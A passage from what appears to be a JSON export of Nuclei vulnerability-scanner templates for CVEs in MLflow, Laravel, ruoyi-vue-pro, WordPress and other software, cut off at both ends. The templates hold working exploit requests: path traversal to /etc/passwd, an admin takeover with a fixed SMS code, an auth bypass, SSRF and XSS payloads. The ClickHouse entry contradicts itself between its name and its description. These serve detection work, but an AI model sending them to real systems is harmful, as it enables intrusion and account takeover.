matchers:\n      - type: word\n        part: header\n        words:\n          - \"Access-Control-Expose-Headers\"\n          - \"X-Transmission-Session-Id\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"Access-Control-Allow-Origin: *\"\n\n      - type: status\n        status:\n          - 409\n# digest: 4a0a0047304502203b878edb3e9c5b172fb8d36dd2d7baa9a79c88249ba123e36d2151c0e26db68f02210081fd6910bb65c0794cd88c072193b3af68c6454f7b1228d6292fb9783a61a837:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-116748.yaml","vuln_id":"cve-2026-116748"},{"raw":"id: CVE-2026-116690\n\ninfo:\n  name: MLflow 3.10.0-3.16.1 - Arbitrary File Read\n  author: ashish-cybersec\n  severity: high\n  description: |\n    MLflow 3.10.0 through 3.16.1 contains a path traversal in the prompt branch of the CreateModelVersion handler. The fix for CVE-2026-2614 only validated prompt sources that carry a URL scheme, so a schemeless relative path such as ../../../etc is stored unchanged as the model version artifact location and later served by the model-versions/get-artifact endpoint, letting unauthenticated remote attackers read arbitrary files from the server filesystem.\n  impact: |\n    Unauthenticated attackers can read arbitrary files on the server, leading to complete confidentiality compromise.\n  remediation: |\n    Upgrade to version 3.17.0 or later.\n  reference:\n    - https://github.com/mlflow/mlflow/security/advisories/GHSA-m65p-9j7q-6w33\n    - https://github.com/mlflow/mlflow/pull/25870\n    - https://github.com/mlflow/mlflow/commit/81730a2ce4ebcd60d5d18f68c96f422ad7e30772\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-116690\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-116690\n    epss-score: 0.01801\n    epss-percentile: 0.78565\n    cwe-id: CWE-22\n  metadata:\n    max-request: 3\n    verified: true\n    vendor: mlflow\n    product: mlflow\n    shodan-query: http.title:\"MLflow\"\n  tags: cve,cve2026,mlflow,lfi,vkev\n\nvariables:\n  model: \"{{to_lower(rand_base(10))}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /api/2.0/mlflow/registered-models/create HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"{{model}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - 'contains(body, \"registered_model\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/2.0/mlflow/model-versions/create HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"{{model}}\",\"source\":\"../../../../../../../../etc\",\"tags\":[{\"key\":\"mlflow.prompt.is_prompt\",\"value\":\"true\"}]}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - 'contains(body, \"model_version\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /model-versions/get-artifact?name={{model}}&version=1&path=passwd HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022015946ec7743fae92e984f4814f0fc62adc99625d2390af2cb2c24390afcc4bb30221009e34d5018a3b4d9c89040928ca463ba0650b299c9ce21ab464f11fe161898424:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-116690.yaml","vuln_id":"cve-2026-116690"},{"raw":"id: CVE-2026-116485\n\ninfo:\n  name: danmu_api - Unauthenticated Access to Admin API via Default Token\n  author: kosoyyagent\n  severity: high\n  description: |\n    danmu_api before 1.21.7 contains an authentication bypass caused by default TOKEN usage and unset ADMIN_TOKEN, letting unauthenticated attackers modify server environment configuration via specific API endpoints, exploit requires default token configuration.\n  impact: |\n    Unauthenticated attackers can modify server environment, lock out operators, cause SSRF, and trigger redeployment, severely impacting server integrity and availability.\n  remediation: |\n    Update to version 1.21.7 or later.\n  reference:\n    - https://github.com/huangxd-/danmu_api/commit/6e93478064a0ce4e7ed3bc2eae88adaad1b7ab02\n    - https://github.com/huangxd-/danmu_api\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-116485\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-116485\n    epss-score: 0.02349\n    epss-percentile: 0.83731\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: http.title:\"弹幕api\"\n  tags: cve,cve2026,danmu-api,unauth,exposure\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /api/config HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'Welcome to the LogVar Danmu API server'\n          - '\"hasAdminToken\":false'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /api/cache/animes HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"success\\\":true\")'\n        condition: and\n# digest: 4a0a00473045022035da72a57c602e08033e639ebf6c556ea3515aaa686583cce862c6ffdb6192770221008bc96d516423f25e3079d81220beee9a8dfdca21f3e2e4c6e92fe6a1b46d54c4:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-116485.yaml","vuln_id":"cve-2026-116485"},{"raw":"id: CVE-2026-116366\n\ninfo:\n  name: ClickHouse Server - Brotli v1.2.0 Decoder DoS/OOB-Write\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    ClickHouse Server contains a remote code execution vulnerability caused by improper access control, letting unauthenticated users with network access execute arbitrary code remotely, exploit requires network access.\n  impact: |\n    Unauthenticated attackers with network access can execute arbitrary code on the server, potentially leading to full system compromise.\n  remediation: |\n    Upgrade to a fixed ClickHouse release that ships brotli v1.2.1: 26.3.62.3-lts, 26.8.36.3-lts, 26.9.27.3-stable, 26.10.3.7-stable or later. brotli v1.2.1 returns a hard BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH (-17) error immediately on invalid block switch, preventing the infinite loop.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-116366\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-111497\n    - https://github.com/google/brotli/compare/v1.2.0...v1.2.1\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N\n    cvss-score: 9.5\n    cve-id: CVE-2026-116366\n    epss-score: 0.00962\n    epss-percentile: 0.61738\n    cwe-id: CWE-787,CWE-835\n  metadata:\n    max-request: 1\n    verified: true\n    shodan-query: product:\"ClickHouse\" port:\"8123,8443\"\n    fofa-query: app=\"ClickHouse\"\n  tags: cve,cve2026,clickhouse,oob-write,brotli,intrusive\n\nhttp:\n  - raw:\n      - |\n        POST /?max_query_size=20000000 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Encoding: br\n        Content-Type: application/x-www-form-urlencoded\n\n        {{hex_decode('200010414141fcffff07002228f00b60f7f41f00000000000000000000000000000000000000')}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Code: 448\"\n          - \"BROTLI_READ_FAILED\"\n        condition: and\n\n      - type: status\n        status:\n          - 500\n# digest: 4a0a00473045022100aa8a093756f278921653764303b8071d87fe52537ce49e228ce98c9ae37b147a022078157b5b23c226842db1d6a8aef39b2ff7f08ac93b729bb13ab035165bd5a9d0:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-116366.yaml","vuln_id":"cve-2026-116366"},{"raw":"id: CVE-2026-116205\n\ninfo:\n  name: YesWiki < 4.7.0 - Unauthenticated Server-Side Request Forgery\n  author: kosoyyagent\n  severity: high\n  description: |\n    YesWiki < 4.7.0 contains an unauthenticated server-side request forgery caused by improper handling of [[|URL]] wiki syntax in the render handler, letting remote attackers fetch arbitrary URLs, exploit requires no authentication.\n  impact: |\n    Remote attackers can fetch arbitrary URLs, potentially accessing internal hosts and sensitive data.\n  remediation: |\n    Update to version 4.7.0 or later.\n  reference:\n    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-x9j5-r988-9jcc\n    - https://www.vulncheck.com/advisories/yeswiki-before-4.7.0-unauthenticated-ssrf-via-url-raw-inclusion-syntax\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-116205\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-116205\n    epss-score: 0.0051\n    epss-percentile: 0.43632\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: yeswiki\n    product: yeswiki\n    shodan-query: http.html:\"YesWiki\"\n    fofa-query: body=\"YesWiki\"\n  tags: cve,cve2026,yeswiki,ssrf,oast,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /?wiki=PagePrincipale HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"yeswiki-base.css\")'\n          - 'compare_versions(version, \"< 4.7.0\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        name: version\n        internal: true\n        regex:\n          - 'yeswiki-base\\.css\\?v=([0-9.]+)'\n\n  - raw:\n      - |\n        GET /?wiki=PagePrincipale/render&content=%5B%5B%7Chttp%3A%2F%2F{{interactsh-url}}%5D%5D HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(interactsh_protocol, \"http\")'\n        condition: and\n# digest: 490a00463044022046b37340ba2317aa3e04492b5f4e2d54789d383c3666154b7e6dc124b856f199022058be398599c465d9e36744d144e453c05c20aa4a92dd083c184f20e9f61884b4:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-116205.yaml","vuln_id":"cve-2026-116205"},{"raw":"id: CVE-2026-116167\n\ninfo:\n  name: SiYuan 2.9.0-3.8.6 - Unauthenticated XSS via check-auth \"to\" Parameter\n  author: kosoyyagent\n  severity: high\n  description: |\n    SiYuan 2.9.0 through 3.8.6 serves the unauthenticated /check-auth authorization page (app/stage/auth.html) with a script that assigns the `to` query parameter to window.location.href without scheme validation. A crafted link whose `to` value is a javascript: URI executes script in the kernel origin once the victim completes authentication on that page.\n  impact: |\n    Script executes in the authenticated kernel origin and can invoke same-origin kernel APIs to read or modify workspace content and settings with the victim's session.\n  remediation: |\n    Update to SiYuan 3.8.7 or later, which routes the `to` value through safeRedirectTarget and only allows same-origin destinations.\n  reference:\n    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fmj3-xc2f-6w4w\n    - https://www.vulncheck.com/advisories/siyuan-2.9.0-before-3.8.7-xss-via-check-auth-to-parameter\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-116167\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N\n    cvss-score: 7.6\n    cve-id: CVE-2026-116167\n    epss-score: 0.00656\n    epss-percentile: 0.51524\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: siyuan-note\n    product: siyuan\n    shodan-query: 'http.html:\"siyuan\"'\n    fofa-query: 'body=\"siyuan\"'\n  tags: cve,cve2026,siyuan,xss,unauth\n\nhttp:\n  - raw:\n      - |\n        GET /check-auth?to=javascript:alert(document.domain) HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(to_lower(body), \"siyuan\")'\n          - 'contains(body, \"searchParams.get(\\\"to\\\")\")'\n          - 'contains(body, \"location.href = url.searchParams.get\") || contains(body, \"location.href = toPath\")'\n          - '!contains(body, \"safeRedirectTarget\")'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044022015e19c9b8e5b529ba1eba957827035dd4ef74c7fd0e8e5c9fd3d20bf54d6420f02200d0b74b23b39b471f6738bb4bdbcaccfd5f74763d48c0f12c7850128c5544a9a:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-116167.yaml","vuln_id":"cve-2026-116167"},{"raw":"id: CVE-2026-116070\n\ninfo:\n  name: Docker-Proxy hubcmdui - Missing Authentication on /api/config\n  author: kosoyyagent\n  severity: medium\n  description: |\n    Docker-Proxy through 5.1.9 exposes the hubcmdui configuration endpoint /api/config without authentication. An unauthenticated remote attacker can read the full server configuration, including the WeChat/Telegram monitoring webhook URLs and bot token inside monitoringConfig, the menuItems structure and docker host settings, and can overwrite configuration via the unauthenticated POST handler. The fix restricts anonymous callers to a public subset (theme, language, logo, proxyDomain).\n  impact: |\n    An unauthenticated attacker can read sensitive server configuration, including monitoring webhook URLs and bot tokens, and overwrite configuration, enabling secret disclosure and tampering with proxy and menu settings.\n  remediation: |\n    Upgrade Docker-Proxy to a release after 5.1.9 that restricts anonymous /api/config access to a public subset (theme, language, logo, proxyDomain).\n  reference:\n    - https://github.com/dqzboy/Docker-Proxy/security/advisories/GHSA-xxpq-v3jg-w39m\n    - https://github.com/dqzboy/Docker-Proxy/commit/a173befc5d163b1206b40298871153026fee9474\n    - https://github.com/dqzboy/Docker-Proxy/issues/109\n    - https://www.vulncheck.com/advisories/docker-proxy-through-5.1.9-missing-authentication-via-hubcmdui-api-config\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-116070\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N\n    cvss-score: 6.5\n    cve-id: CVE-2026-116070\n    epss-score: 0.00544\n    epss-percentile: 0.45804\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: dqzboy\n    product: docker-proxy\n    shodan-query: http.html:\"hubcmdui\"\n    fofa-query: body=\"hubcmdui\"\n  tags: cve,cve2026,docker-proxy,hubcmdui,unauth,exposure\n\nhttp:\n  - raw:\n      - |\n        GET /api/config HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"monitoringConfig\"'\n          - '\"menuItems\"'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402200cb5f56b809085848e0a956413b217c2bdc028eb1ccbfafb31c046ffad0fcba702203c664451d6e99d4202f9a21b3cd042259dc1b5b64ecf4207e0266b490574ed3f:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-116070.yaml","vuln_id":"cve-2026-116070"},{"raw":"id: CVE-2026-116067\n\ninfo:\n  name: Paisa < 0.7.8 - Unauthenticated Path Traversal\n  author: kosoyyagent\n  severity: high\n  description: |\n    Paisa < 0.7.8 contains a path traversal vulnerability caused by improper sanitization of file names in GetFile, GetSheet, DeleteBackups, and DeleteSheetBackups handlers, letting unauthenticated attackers read arbitrary files and delete backups via ../ sequences.\n  impact: |\n    Unauthenticated attackers can read any server-readable file and delete backup files outside intended directories, risking data loss and information disclosure.\n  remediation: |\n    Update to version 0.7.8 or later.\n  reference:\n    - https://github.com/ananthakumaran/paisa/issues/420\n    - https://github.com/ananthakumaran/paisa/commit/035949351f7c0d0f90ecf767aa1e28b4d5a0ae31\n    - https://www.vulncheck.com/advisories/paisa-before-0.7.8-path-traversal-via-editor-and-sheet-api\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-116067\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-116067\n    epss-score: 0.01689\n    epss-percentile: 0.77121\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: ananthakumaran\n    product: paisa\n    shodan-query: http.title:\"Paisa\"\n    fofa-query: body=\"Paisa is an open source personal finance manager\"\n  tags: cve,cve2026,paisa,lfi,traversal,unauth,intrusive\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /api/config HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'contains_any(body, \"paisa.fyi/schema.json\", \"Paisa configuration\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/editor/file HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"../../../../../../../../etc/passwd\"}\n\n      - |\n        POST /api/sheets/file HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"../../../../../../../../etc/passwd\"}\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'contains_any(body, \"root:x:0:0\")'\n        condition: and\n# digest: 4a0a004730450220609bcfb0c9b9ad43dc87e80b92ffc7d46d9435fdc1a2f3532975d2b8ef04e31f022100814eb1e41b6423bdddd82eb012ee4a35a9d864469231ffd7cb4fa686e9b032e8:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-116067.yaml","vuln_id":"cve-2026-116067"},{"raw":"id: CVE-2026-116006\n\ninfo:\n  name: Ruoyi-Vue-Pro - Unauthenticated Admin Takeover via Predictable SMS Code\n  author: kosoyyagent\n  severity: critical\n  description: |\n    ruoyi-vue-pro (Yudao) ships base configuration yudao.sms-code.begin-code=end-code=9999, so every generated SMS verification code is the constant \"9999\" in all profiles. The anonymous SMS-login flow therefore grants an access token to any account whose mobile number is known: send-sms-code followed by sms-login with code 9999 issues a full token, including for the seeded super administrator account (mobile 18818260272 in the shipped SQL). No CAPTCHA hook exists for scene=21 in any profile.\n  impact: |\n    Remote attackers can bypass authentication, potentially gaining unauthorized access to the system.\n  remediation: |\n    Update to the latest version.\n  reference:\n    - https://gist.github.com/Fulucky0-yuri/1ad8a1f166af7cb85c498473753a8636\n    - https://github.com/YunaiV/ruoyi-vue-pro\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-116006\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.2\n    cve-id: CVE-2026-116006\n    cwe-id: CWE-1188,CWE-798\n    epss-score: 0.00834\n    epss-percentile: 0.57773\n  metadata:\n    verified: true\n    max-request: 2\n    fofa-query: body=\"ruoyi-vue-pro\"\n  tags: cve,cve2026,ruoyi,yudao,auth-bypass\n\nhttp:\n  - raw:\n      - |\n        POST /admin-api/system/auth/send-sms-code HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"mobile\":\"18818260272\",\"scene\":21}\n\n      - |\n        POST /admin-api/system/auth/sms-login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"mobile\":\"18818260272\",\"code\":\"9999\"}\n\n    cookie-reuse: true\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'accessToken\":'\n          - 'refreshToken\":'\n        condition: and\n\n      - type: word\n        part: body\n        words:\n          - \"\\\"code\\\":0\"\n# digest: 4a0a00473045022004c6551a990d887008495d3f5b591a2466731c28a93b97d700bd1b987e3924c9022100ef401f064bb1cfcfad252073059ccde5d0542a0e28a9b4c056ce99d19417790e:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-116006.yaml","vuln_id":"cve-2026-116006"},{"raw":"id: CVE-2026-115886\n\ninfo:\n  name: MLflow <3.17.0 - Unauthenticated SSRF via Third-Party (TruLens) Scorer\n  author: kosoyyagent\n  severity: medium\n  description: |\n    MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission.\n  impact: |\n    An unauthenticated attacker can coerce the MLflow server into making outbound requests to arbitrary internal or external hosts with attacker-controlled headers, enabling access to internal services, cloud metadata endpoints, and other resources reachable from the server.\n  remediation: |\n    Upgrade MLflow to 3.17.0 or later, which constrains third-party scorer classes and their\n    constructor kwargs.\n  reference:\n    - https://github.com/mlflow/mlflow/security/advisories/GHSA-2wqp-q3c6-ccj5\n    - https://github.com/mlflow/mlflow/commit/bac30b4148c4f40045b4d4db07ae60ab3838803f\n    - https://github.com/mlflow/mlflow/pull/25890\n    - https://github.com/mlflow/mlflow/releases/tag/v3.17.0\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-115886\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N\n    cvss-score: 6.5\n    cve-id: CVE-2026-115886\n    epss-score: 0.00676\n    epss-percentile: 0.52344\n    cwe-id: CWE-470,CWE-918\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: mlflow\n    product: mlflow\n    shodan-query: http.title:\"MLflow\"\n    fofa-query: title=\"MLflow\"\n  tags: cve,cve2026,mlflow,ssrf,oast,unauth,oss,vkev\n\nvariables:\n  oid: \"{{hex_encode(rand_base(16))}}\"\n  sid: \"{{hex_encode(rand_base(8))}}\"\n  ikey: \"{{rand_base(12)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /api/2.0/mlflow/experiments/create HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"{{rand_base(10)}}\"}\n\n      - |\n        POST /v1/traces HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        x-mlflow-experiment-id: {{eid}}\n\n        {\"resourceSpans\":[{\"resource\":{\"attributes\":[]},\"scopeSpans\":[{\"scope\":{},\"spans\":[{\"traceId\":\"{{oid}}\",\"spanId\":\"{{sid}}\",\"name\":\"s\",\"kind\":1,\"startTimeUnixNano\":\"1750000000000000000\",\"endTimeUnixNano\":\"1750000000000000000\",\"attributes\":[{\"key\":\"mlflow.spanInputs\",\"value\":{\"stringValue\":\"{\\\"x\\\":\\\"hi\\\"}\"}},{\"key\":\"mlflow.spanOutputs\",\"value\":{\"stringValue\":\"\\\"a coherent response\\\"\"}},{\"key\":\"mlflow.spanType\",\"value\":{\"stringValue\":\"\\\"UNKNOWN\\\"\"}}],\"status\":{}}]}]}]}\n\n      - |\n        POST /ajax-api/3.0/mlflow/scorer/invoke HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"experiment_id\":\"{{eid}}\",\"serialized_scorer\":\"{\\\"name\\\":\\\"Coherence\\\",\\\"third_party_scorer_data\\\":{\\\"module\\\":\\\"mlflow.genai.scorers.trulens\\\",\\\"class\\\":\\\"Coherence\\\",\\\"metric_name\\\":\\\"Coherence\\\",\\\"model\\\":\\\"openai:/gpt-4o\\\",\\\"kwargs\\\":{\\\"api_base\\\":\\\"http://{{interactsh-url}}\\\",\\\"api_key\\\":\\\"{{ikey}}\\\"}}}\",\"trace_ids\":[\"tr-{{oid}}\"]}\n\n    extractors:\n      - type: regex\n        name: eid\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - '\"experiment_id\"\\s*:\\s*\"?([0-9]+)\"?'\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n          - \"dns\"\n        condition: or\n\n      - type: word\n        part: body\n        words:\n          - \"job_id\"\n# digest: 4a0a0047304502205cdbe3e05692530ebdb29b711f948f0b699755afdfd4dfdc04b54e7246f72e2c022100aacf8b6091c066184f920dfbcaa7959aa6a6db2197fb6b17d530ccb0c822d1f9:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-115886.yaml","vuln_id":"cve-2026-115886"},{"raw":"id: CVE-2026-11565\n\ninfo:\n  name: WordPress Advanced File Manager < 5.4.13 - Arbitrary File Read\n  author: anirbala98\n  severity: high\n  description: |\n    The Advanced File Manager WordPress plugin before 5.4.13 does not perform capability checks in several of its file management AJAX actions, allowing users with any role to which an administrator has granted file-manager access (as low as Subscriber) to read arbitrary files on the server.\n  impact: |\n    Authenticated attackers with Subscriber-level privileges can disclose local files, including configuration files that contain database credentials and authentication keys.\n  remediation: |\n    Update to version 5.4.13 or later.\n  reference:\n    - https://wpscan.com/vulnerability/5e03858d-db0b-4b65-99cc-eb01ad4195e9/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-11565\n    - https://wordpress.org/plugins/file-manager-advanced/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 8.5\n    cve-id: CVE-2026-11565\n    epss-score: 0.01254\n    epss-percentile: 0.69549\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: saad-iqbal\n    product: file-manager-advanced\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/file-manager-advanced/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,file-read,authenticated,file-manager-advanced,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 302\n          - contains(header, \"wordpress_logged_in\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-admin/admin.php?page=file_manager_advanced_ui HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body\n        group: 1\n        regex:\n          - 'var afm_object = \\{[^}]*\"nonce\":\"([a-f0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-admin/admin-ajax.php?action=fma_load_fma_ui&_fmakey={{nonce}}&cmd=get&target=l1_d3AtY29uZmlnLnBocA HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"DB_NAME\", \"DB_PASSWORD\")'\n        condition: and\n# digest: 490a00463044022042f05c8f6dfc9b8e2f23117da88f9dfe53bbe404c259ef50eaba4cb4f8345de6022038a179cde0f73c4c1d0de3e2ffdf1097bd2322d6d81c895c3dfc72e69e2fad89:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-11565.yaml","vuln_id":"cve-2026-11565"},{"raw":"id: CVE-2026-114509\n\ninfo:\n  name: Laravel TokenGuard - Authentication Bypass\n  author: kosoyyagent\n  severity: critical\n  description: |\n    Laravel's TokenGuard (driver => token, hash => false) does not validate the\n    credential type before the database lookup. Sending a JSON body with\n    api_token as an array of integers ({\"api_token\":[0]}) produces a\n    whereIn('api_token', [0]) query; under MySQL/MariaDB implicit casting,\n    every varchar token not starting with a digit evaluates to 0, so the first\n    user row is returned to an unauthenticated attacker.\n  impact: |\n    Unauthenticated attackers can bypass authentication and take over user accounts, compromising application security.\n  remediation: |\n    Update to versions 12.68.0 or 13.29.0 or later.\n  reference:\n    - https://github.com/laravel/framework/security/advisories/GHSA-f9x3-7vq9-cph6\n    - https://github.com/ArioVeisa/cve-2026-114509-laravel-tokenguard\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-114509\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n    cvss-score: 9.2\n    cve-id: CVE-2026-114509\n    cwe-id: CWE-1287,CWE-287\n    epss-score: 0.00777\n    epss-percentile: 0.55961\n  metadata:\n    verified: true\n    max-request: 4\n    fofa-query: app=\"Laravel\"\n  tags: cve,cve2026,laravel,auth-bypass,php,intrusive,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/user\"\n      - \"{{BaseURL}}/api/me\"\n      - \"{{BaseURL}}/api/profile\"\n      - \"{{BaseURL}}/api/v1/user\"\n\n    headers:\n      Content-Type: application/json\n      Accept: application/json\n\n    body: '{\"api_token\":[0]}'\n\n    stop-at-first-match: true\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: regex\n        part: body\n        regex:\n          - '\"id\"\\s*:\\s*\\d+'\n          - '\"email\"\\s*:\\s*\"[^\"]+@[^\"]+\"'\n        condition: and\n# digest: 4b0a00483046022100c24268cb71ca7aa747fac6e608ce87a95f79fdc7d361e324d8240d13b4af14eb022100eb538885b5cf41ff8332f1d1369d4931afb2f95e06f3d2fa5bceb1b2d288356c:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-114509.yaml","vuln_id":"cve-2026-114509"},{"raw":"id: 